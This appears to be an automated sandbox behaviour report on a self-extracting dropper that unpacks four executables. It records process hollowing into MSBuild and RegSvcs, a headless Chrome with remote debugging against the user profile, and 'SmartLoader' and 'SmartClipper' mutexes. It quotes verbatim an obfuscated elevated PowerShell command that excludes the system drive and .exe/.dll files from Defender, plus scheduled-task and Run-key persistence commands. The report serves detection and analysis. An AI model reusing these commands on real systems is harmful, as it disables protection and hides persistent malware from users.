Source: C:\Windows\Temp\11.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Windows\Temp\11.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1944 -s 268
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#xecasfbbsplyjqqhot#> powershell <#xecasfbbsplyjqqhot#> -Verb <#xecasfbbsplyjqqhot#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc daily /st 12:00 /f /tn "MSBuild" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=39002 --headless --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W" --profile-directory="Default
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --use-angle=swiftshader-webgl --use-gl=angle --headless --mojo-platform-channel-handle=1584 --field-trial-handle=1348,i,16064085096142150316,3896965374088151555,131072 --disable-features=PaintHolding /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\11.exe "C:\Windows\Temp\11.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\123.exe "C:\Windows\Temp\123.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\321.exe "C:\Windows\Temp\321.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\1234.exe "C:\Windows\Temp\1234.exe"	Jump to behavior
Source: C:\Windows\Temp\11.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Temp\__tmp_rar_sfx_access_check_4753796

Jump to behavior

Source: C:\Windows\Temp\123.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Temp\321.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:64:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\SyncRootManager
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\SmartLoader401
Source: C:\Windows\System32\conhost.exe	Mutant created: Local\SM0:5440:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\SmartClipper71
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6928:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1944
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7084:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5480:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: Local\SM0:5244:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: Local\SM0:628:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6816:120:WilError_01

Source: C:\Users\user\Desktop\file.exe	Command line argument: sfxname	0_2_013BC130
Source: C:\Users\user\Desktop\file.exe	Command line argument: sfxstime	0_2_013BC130
Source: C:\Users\user\Desktop\file.exe	Command line argument: STARTDLG	0_2_013BC130

Source: C:\Windows\Temp\123.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\123.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\321.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\321.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\1234.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Temp\1234.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Section loaded: NLS_CodePage_437_3_2_0_0

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Temp\123.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Temp\11.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: file.exe, 00000000.00000003.242863242.00000000029F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000000.242026266.00000000013D0000.00000002.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.242635859.0000000004147000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdb source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdbSHA256 source: 123.exe, 00000002.00000002.515983666.0000000006A48000.00000004.00000800.00020000.00000000.sdmp, 321.exe, 00000003.00000002.550758209.0000000006B47000.00000004.00000800.00020000.00000000.sdmp

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Windows\Temp\11.exe

Unpacked PE file: 1.2.11.exe.400000.1.unpack

Detected unpacking (changes PE section rights)

Source: C:\Windows\Temp\11.exe

Unpacked PE file: 1.2.11.exe.400000.1.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aslon:W;

Yara detected Costura Assembly Loader

Source: Yara match

File source: 00000019.00000003.371783017.0000000004449000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Suspicious powershell command line found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell "Start-Process <#xecasfbbsplyjqqhot#> powershell <#xecasfbbsplyjqqhot#> -Verb <#xecasfbbsplyjqqhot#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BD856 push ecx; ret	0_2_013BD869
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BCDF0 push eax; ret	0_2_013BCE0E
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00401D51 push eax; ret	1_2_00401E57
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00421BE8 pushad ; iretd	1_2_00421BF6
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00404D49 push ecx; ret	1_2_00404D5C
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00404D6C push ecx; ret	1_2_00404D5C
Source: C:\Windows\Temp\11.exe	Code function: 1_2_004225BA push EF3FEFD4h; iretd	1_2_004225C1
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0271423F push esp; retf	1_2_02714247
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0271483D push esp; retf	1_2_0271483E
Source: C:\Windows\Temp\11.exe	Code function: 1_2_027051D3 push ecx; ret	1_2_027051C3
Source: C:\Windows\Temp\11.exe	Code function: 1_2_027051B0 push ecx; ret	1_2_027051C3
Source: C:\Windows\Temp\11.exe	Code function: 1_2_027021B8 push eax; ret	1_2_027022BE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Temp\__tmp_rar_sfx_access_check_4753796

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Temp\1234.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Temp\321.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Temp\11.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Temp\123.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Temp\1234.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Temp\321.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Temp\11.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Temp\123.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc daily /st 12:00 /f /tn "MSBuild" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MSBuild

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MSBuild
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MSBuild

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
